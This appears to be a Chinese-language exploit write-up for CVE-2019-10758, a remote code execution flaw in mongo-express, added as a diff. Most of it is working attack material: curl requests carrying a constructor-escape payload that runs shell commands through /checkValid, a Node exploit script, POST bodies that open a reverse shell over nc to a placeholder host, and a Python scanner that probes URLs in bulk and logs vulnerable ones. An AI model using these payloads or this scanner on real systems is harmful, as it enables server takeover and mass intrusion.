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+（CVE-2019-10758）Mongo expres rce
+==================================
+
+一、漏洞简介
+------------
+
+漏洞问题出在lib/bson.js中的toBSON()函数中，路由 /checkValid
+从外部接收输入，并调用了存在 RCE
+漏洞的代码，由此存在被攻击的风险，可在服务器上进行任意命令执行。
+
+二、漏洞影响
+------------
+
+mongo-express \< 0.54.0
+
+三、复现过程
+------------
+
+https://github.com/ianxtianxt/CVE-2019-10758
+
+#### 安装环境
+
+    docker run -p 27017:27017 -d mongo
+    npm install mongo-express@0.53.0 
+    cd node_modules/mongo-express/ && node app.js
+
+#### cURL exploit
+
+    curl 'http://www.0-sec.org:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
+
+![](./resource/(CVE-2019-10758)Mongoexpresrce/media/rId26.png)
+
+    curl 'http://www.0-sec.org:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt")'
+
+![](./resource/(CVE-2019-10758)Mongoexpresrce/media/rId27.png)
+
+#### Script exploit
+
+    node main.js
+
+#### main.js
+
+    exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"
+
+    var bson = require('mongo-express/lib/bson')
+    bson.toBSON(exploit)
+
+### 补充
+
+> mongo-express远程代码执行，反弹shell代码如下：
+
+#### POST BODY 1:
+
+    document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("mkfifo /tmp/f")
+
+#### POST BODY 2：
+
+    document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f")
+
+### 批量监测脚本【只放核心代码】
+
+    payload = r'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 111111")'
+
+    def http_request(url,path_out):
+        try:
+            print("Trying:" + url + ' ' + '[' + str(left) + '/' + str(countLines) + ']')
+            vulurl = url + "/checkValid"
+            r = requests.post(url=vulurl, headers=headers, data=payload, timeout=10, verify= False)
+            if r.status_code == 200 and 'Valid' in r.text:
+                print("\033[1;40;32m'Good Found!' {}\033[0m".format(vulurl))
+                #printGreen("[+]" + url)
+                with open(path_out,'a') as f:
+                    f.write(vulurl + '\n')
+            else:
+                print("[-]" + "r.status_code:" + str(r.status_code) + "," + "raise.text:" + r.text)
+        except Exception as err:
+            print(err)